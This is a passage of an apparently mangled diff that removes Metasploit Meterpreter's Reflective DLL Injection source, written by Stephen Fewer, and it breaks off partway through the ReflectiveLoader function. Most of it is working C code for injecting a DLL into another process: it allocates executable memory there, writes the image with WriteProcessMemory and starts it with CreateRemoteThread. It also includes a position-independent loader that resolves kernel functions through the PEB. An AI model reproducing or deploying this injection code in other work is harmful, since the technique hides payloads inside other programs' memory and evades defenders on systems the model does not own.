//
|
|
||||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
|
||||||
// with the distribution.
|
|
||||||
//
|
|
||||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
|
||||||
// endorse or promote products derived from this software without specific prior written permission.
|
|
||||||
//
|
|
||||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
|
||||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
|
||||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
|
||||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
|
||||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
|
||||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
|
||||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
|
||||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
|
||||||
// POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
//===============================================================================================//
|
|
||||||
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
|
|
||||||
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
|
|
||||||
//===============================================================================================//
|
|
||||||
#include "ReflectiveDLLInjection.h"
|
|
||||||
|
|
||||||
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName );
|
|
||||||
//===============================================================================================//
|
|
||||||
#endif
|
|
||||||
//===============================================================================================//
|
|
||||||
|
|
@ -1,233 +0,0 @@
|
||||||
//===============================================================================================//
|
|
||||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
|
||||||
// All rights reserved.
|
|
||||||
//
|
|
||||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
|
||||||
// provided that the following conditions are met:
|
|
||||||
//
|
|
||||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer.
|
|
||||||
//
|
|
||||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
|
||||||
// with the distribution.
|
|
||||||
//
|
|
||||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
|
||||||
// endorse or promote products derived from this software without specific prior written permission.
|
|
||||||
//
|
|
||||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
|
||||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
|
||||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
|
||||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
|
||||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
|
||||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
|
||||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
|
||||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
|
||||||
// POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
//===============================================================================================//
|
|
||||||
#include "LoadLibraryR.h"
|
|
||||||
//===============================================================================================//
|
|
||||||
DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
|
|
||||||
{
|
|
||||||
WORD wIndex = 0;
|
|
||||||
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
|
|
||||||
PIMAGE_NT_HEADERS pNtHeaders = NULL;
|
|
||||||
|
|
||||||
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
|
|
||||||
|
|
||||||
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
|
|
||||||
|
|
||||||
if( dwRva < pSectionHeader[0].PointerToRawData )
|
|
||||||
return dwRva;
|
|
||||||
|
|
||||||
for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )
|
|
||||||
{
|
|
||||||
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )
|
|
||||||
return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
//===============================================================================================//
|
|
||||||
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
|
|
||||||
{
|
|
||||||
UINT_PTR uiBaseAddress = 0;
|
|
||||||
UINT_PTR uiExportDir = 0;
|
|
||||||
UINT_PTR uiNameArray = 0;
|
|
||||||
UINT_PTR uiAddressArray = 0;
|
|
||||||
UINT_PTR uiNameOrdinals = 0;
|
|
||||||
DWORD dwCounter = 0;
|
|
||||||
#ifdef _WIN64
|
|
||||||
DWORD dwMeterpreterArch = 2;
|
|
||||||
#else
|
|
||||||
// This will catch Win32 and WinRT.
|
|
||||||
DWORD dwMeterpreterArch = 1;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
|
|
||||||
|
|
||||||
// get the File Offset of the modules NT Header
|
|
||||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
|
||||||
|
|
||||||
// currenlty we can only process a PE file which is the same type as the one this fuction has
|
|
||||||
// been compiled as, due to various offset in the PE structures being defined at compile time.
|
|
||||||
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
|
|
||||||
{
|
|
||||||
if( dwMeterpreterArch != 1 )
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
|
|
||||||
{
|
|
||||||
if( dwMeterpreterArch != 2 )
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
// uiNameArray = the address of the modules export directory entry
|
|
||||||
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
|
||||||
|
|
||||||
// get the File Offset of the export directory
|
|
||||||
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );
|
|
||||||
|
|
||||||
// get the File Offset for the array of name pointers
|
|
||||||
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );
|
|
||||||
|
|
||||||
// get the File Offset for the array of addresses
|
|
||||||
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
|
|
||||||
|
|
||||||
// get the File Offset for the array of name ordinals
|
|
||||||
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );
|
|
||||||
|
|
||||||
// get a counter for the number of exported functions...
|
|
||||||
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
|
|
||||||
|
|
||||||
// loop through all the exported functions to find the ReflectiveLoader
|
|
||||||
while( dwCounter-- )
|
|
||||||
{
|
|
||||||
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
|
|
||||||
|
|
||||||
if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
|
|
||||||
{
|
|
||||||
// get the File Offset for the array of addresses
|
|
||||||
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
|
|
||||||
|
|
||||||
// use the functions name ordinal as an index into the array of name pointers
|
|
||||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
|
||||||
|
|
||||||
// return the File Offset to the ReflectiveLoader() functions code...
|
|
||||||
return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
|
|
||||||
}
|
|
||||||
// get the next exported function name
|
|
||||||
uiNameArray += sizeof(DWORD);
|
|
||||||
|
|
||||||
// get the next exported function name ordinal
|
|
||||||
uiNameOrdinals += sizeof(WORD);
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
//===============================================================================================//
|
|
||||||
// Loads a DLL image from memory via its exported ReflectiveLoader function
|
|
||||||
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )
|
|
||||||
{
|
|
||||||
HMODULE hResult = NULL;
|
|
||||||
DWORD dwReflectiveLoaderOffset = 0;
|
|
||||||
DWORD dwOldProtect1 = 0;
|
|
||||||
DWORD dwOldProtect2 = 0;
|
|
||||||
REFLECTIVELOADER pReflectiveLoader = NULL;
|
|
||||||
DLLMAIN pDllMain = NULL;
|
|
||||||
|
|
||||||
if( lpBuffer == NULL || dwLength == 0 )
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
__try
|
|
||||||
{
|
|
||||||
// check if the library has a ReflectiveLoader...
|
|
||||||
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
|
|
||||||
if( dwReflectiveLoaderOffset != 0 )
|
|
||||||
{
|
|
||||||
pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);
|
|
||||||
|
|
||||||
// we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader...
|
|
||||||
// this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region
|
|
||||||
if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) )
|
|
||||||
{
|
|
||||||
// call the librarys ReflectiveLoader...
|
|
||||||
pDllMain = (DLLMAIN)pReflectiveLoader();
|
|
||||||
if( pDllMain != NULL )
|
|
||||||
{
|
|
||||||
// call the loaded librarys DllMain to get its HMODULE
|
|
||||||
// Dont call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH as that is for payloads only.
|
|
||||||
if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) )
|
|
||||||
hResult = NULL;
|
|
||||||
}
|
|
||||||
// revert to the previous protection flags...
|
|
||||||
VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 );
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
|
||||||
{
|
|
||||||
hResult = NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
return hResult;
|
|
||||||
}
|
|
||||||
//===============================================================================================//
|
|
||||||
// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function
|
|
||||||
// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
|
||||||
// defined in order to use the correct RDI prototypes.
|
|
||||||
// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
|
|
||||||
// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
|
|
||||||
// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space.
|
|
||||||
// Note: This function currently cant inject accross architectures, but only to architectures which are the
|
|
||||||
// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64.
|
|
||||||
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )
|
|
||||||
{
|
|
||||||
LPVOID lpRemoteLibraryBuffer = NULL;
|
|
||||||
LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
|
|
||||||
HANDLE hThread = NULL;
|
|
||||||
DWORD dwReflectiveLoaderOffset = 0;
|
|
||||||
DWORD dwThreadId = 0;
|
|
||||||
|
|
||||||
__try
|
|
||||||
{
|
|
||||||
do
|
|
||||||
{
|
|
||||||
if( !hProcess || !lpBuffer || !dwLength )
|
|
||||||
break;
|
|
||||||
|
|
||||||
// check if the library has a ReflectiveLoader...
|
|
||||||
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
|
|
||||||
if( !dwReflectiveLoaderOffset )
|
|
||||||
break;
|
|
||||||
|
|
||||||
// alloc memory (RWX) in the host process for the image...
|
|
||||||
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
|
||||||
if( !lpRemoteLibraryBuffer )
|
|
||||||
break;
|
|
||||||
|
|
||||||
// write the image into the host process...
|
|
||||||
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
|
|
||||||
break;
|
|
||||||
|
|
||||||
// add the offset to ReflectiveLoader() to the remote library address...
|
|
||||||
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
|
|
||||||
|
|
||||||
// create a remote thread in the host process to call the ReflectiveLoader!
|
|
||||||
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
|
|
||||||
|
|
||||||
} while( 0 );
|
|
||||||
|
|
||||||
}
|
|
||||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
|
||||||
{
|
|
||||||
hThread = NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
return hThread;
|
|
||||||
}
|
|
||||||
//===============================================================================================//
|
|
||||||
|
|
@ -1,41 +0,0 @@
|
||||||
//===============================================================================================//
|
|
||||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
|
||||||
// All rights reserved.
|
|
||||||
//
|
|
||||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
|
||||||
// provided that the following conditions are met:
|
|
||||||
//
|
|
||||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer.
|
|
||||||
//
|
|
||||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
|
||||||
// with the distribution.
|
|
||||||
//
|
|
||||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
|
||||||
// endorse or promote products derived from this software without specific prior written permission.
|
|
||||||
//
|
|
||||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
|
||||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
|
||||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
|
||||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
|
||||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
|
||||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
|
||||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
|
||||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
|
||||||
// POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
//===============================================================================================//
|
|
||||||
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
|
|
||||||
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
|
|
||||||
//===============================================================================================//
|
|
||||||
#include "ReflectiveDLLInjection.h"
|
|
||||||
|
|
||||||
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );
|
|
||||||
|
|
||||||
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength );
|
|
||||||
|
|
||||||
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );
|
|
||||||
|
|
||||||
//===============================================================================================//
|
|
||||||
#endif
|
|
||||||
//===============================================================================================//
|
|
||||||
|
|
@ -1,53 +0,0 @@
|
||||||
//===============================================================================================//
|
|
||||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
|
||||||
// All rights reserved.
|
|
||||||
//
|
|
||||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
|
||||||
// provided that the following conditions are met:
|
|
||||||
//
|
|
||||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer.
|
|
||||||
//
|
|
||||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
|
||||||
// with the distribution.
|
|
||||||
//
|
|
||||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
|
||||||
// endorse or promote products derived from this software without specific prior written permission.
|
|
||||||
//
|
|
||||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
|
||||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
|
||||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
|
||||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
|
||||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
|
||||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
|
||||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
|
||||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
|
||||||
// POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
//===============================================================================================//
|
|
||||||
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
|
||||||
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
|
||||||
//===============================================================================================//
|
|
||||||
#define WIN32_LEAN_AND_MEAN
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
// we declare some common stuff in here...
|
|
||||||
|
|
||||||
#define DLL_METASPLOIT_ATTACH 4
|
|
||||||
#define DLL_METASPLOIT_DETACH 5
|
|
||||||
#define DLL_QUERY_HMODULE 6
|
|
||||||
|
|
||||||
#define DEREF( name )*(UINT_PTR *)(name)
|
|
||||||
#define DEREF_64( name )*(DWORD64 *)(name)
|
|
||||||
#define DEREF_32( name )*(DWORD *)(name)
|
|
||||||
#define DEREF_16( name )*(WORD *)(name)
|
|
||||||
#define DEREF_8( name )*(BYTE *)(name)
|
|
||||||
|
|
||||||
typedef UINT_PTR (WINAPI * REFLECTIVELOADER)( VOID );
|
|
||||||
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
|
|
||||||
|
|
||||||
#define DLLEXPORT __declspec( dllexport )
|
|
||||||
|
|
||||||
//===============================================================================================//
|
|
||||||
#endif
|
|
||||||
//===============================================================================================//
|
|
||||||
|
|
@ -1,599 +0,0 @@
|
||||||
//===============================================================================================//
|
|
||||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
|
||||||
// All rights reserved.
|
|
||||||
//
|
|
||||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
|
||||||
// provided that the following conditions are met:
|
|
||||||
//
|
|
||||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer.
|
|
||||||
//
|
|
||||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
|
||||||
// with the distribution.
|
|
||||||
//
|
|
||||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
|
||||||
// endorse or promote products derived from this software without specific prior written permission.
|
|
||||||
//
|
|
||||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
|
||||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
|
||||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
|
||||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
|
||||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
|
||||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
|
||||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
|
||||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
|
||||||
// POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
//===============================================================================================//
|
|
||||||
#include "ReflectiveLoader.h"
|
|
||||||
//===============================================================================================//
|
|
||||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
|
||||||
HINSTANCE hAppInstance = NULL;
|
|
||||||
//===============================================================================================//
|
|
||||||
#pragma intrinsic( _ReturnAddress )
|
|
||||||
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
|
||||||
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
|
||||||
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
|
||||||
// available (and no inline asm available under x64).
|
|
||||||
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
|
|
||||||
//===============================================================================================//
|
|
||||||
|
|
||||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
|
||||||
#define OUTPUTDBG(str) pOutputDebug((LPCSTR)str)
|
|
||||||
#else /* ENABLE_OUTPUTDEBUGSTRING */
|
|
||||||
#define OUTPUTDBG(str) do{}while(0)
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
|
||||||
// otherwise the DllMain at the end of this file will be used.
|
|
||||||
|
|
||||||
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
|
||||||
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
|
||||||
|
|
||||||
// This is our position independent reflective DLL loader/injector
|
|
||||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
|
||||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
|
|
||||||
#else
|
|
||||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
|
|
||||||
#endif
|
|
||||||
{
|
|
||||||
// the functions we need
|
|
||||||
LOADLIBRARYA pLoadLibraryA = NULL;
|
|
||||||
GETPROCADDRESS pGetProcAddress = NULL;
|
|
||||||
VIRTUALALLOC pVirtualAlloc = NULL;
|
|
||||||
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
|
||||||
#ifdef ENABLE_STOPPAGING
|
|
||||||
VIRTUALLOCK pVirtualLock = NULL;
|
|
||||||
#endif
|
|
||||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
|
||||||
OUTPUTDEBUG pOutputDebug = NULL;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
USHORT usCounter;
|
|
||||||
|
|
||||||
// the initial location of this image in memory
|
|
||||||
ULONG_PTR uiLibraryAddress;
|
|
||||||
// the kernels base address and later this images newly loaded base address
|
|
||||||
ULONG_PTR uiBaseAddress;
|
|
||||||
|
|
||||||
// variables for processing the kernels export table
|
|
||||||
ULONG_PTR uiAddressArray;
|
|
||||||
ULONG_PTR uiNameArray;
|
|
||||||
ULONG_PTR uiExportDir;
|
|
||||||
ULONG_PTR uiNameOrdinals;
|
|
||||||
DWORD dwHashValue;
|
|
||||||
|
|
||||||
// variables for loading this image
|
|
||||||
ULONG_PTR uiHeaderValue;
|
|
||||||
ULONG_PTR uiValueA;
|
|
||||||
ULONG_PTR uiValueB;
|
|
||||||
ULONG_PTR uiValueC;
|
|
||||||
ULONG_PTR uiValueD;
|
|
||||||
ULONG_PTR uiValueE;
|
|
||||||
|
|
||||||
// STEP 0: calculate our images current base address
|
|
||||||
|
|
||||||
// we will start searching backwards from our callers return address.
|
|
||||||
uiLibraryAddress = caller();
|
|
||||||
|
|
||||||
// loop through memory backwards searching for our images base address
|
|
||||||
// we dont need SEH style search as we shouldnt generate any access violations with this
|
|
||||||
while( TRUE )
|
|
||||||
{
|
|
||||||
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
|
|
||||||
{
|
|
||||||
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
|
||||||
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
|
||||||
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
|
||||||
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
|
|
||||||
{
|
|
||||||
uiHeaderValue += uiLibraryAddress;
|
|
||||||
// break if we have found a valid MZ/PE header
|
|
||||||
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
uiLibraryAddress--;
|
|
||||||
}
|
|
||||||
|
|
||||||
// STEP 1: process the kernels exports for the functions our loader needs...
|
|
||||||
|
|
||||||
// get the Process Enviroment Block
|
|
||||||
#ifdef _WIN64
|
|
||||||
uiBaseAddress = __readgsqword( 0x60 );
|
|
||||||
#else
|
|
||||||
#ifdef WIN_ARM
|
|
||||||
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
|
|
||||||
#else _WIN32
|
|
||||||
uiBaseAddress = __readfsdword( 0x30 );
|
|
||||||
#endif
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
|
||||||
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
|
||||||
|
|
||||||
// get the first entry of the InMemoryOrder module list
|
|
||||||
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
|
||||||
while( uiValueA )
|
|
||||||
{
|
|
||||||
// get pointer to current modules name (unicode string)
|
|
||||||
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
|
||||||
// set bCounter to the length for the loop
|
|
||||||
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
|
||||||
// clear uiValueC which will store the hash of the module name
|
|
||||||
uiValueC = 0;
|
|
||||||
|
|
||||||
// compute the hash of the module name...
|
|
||||||
do
|
|
||||||
{
|
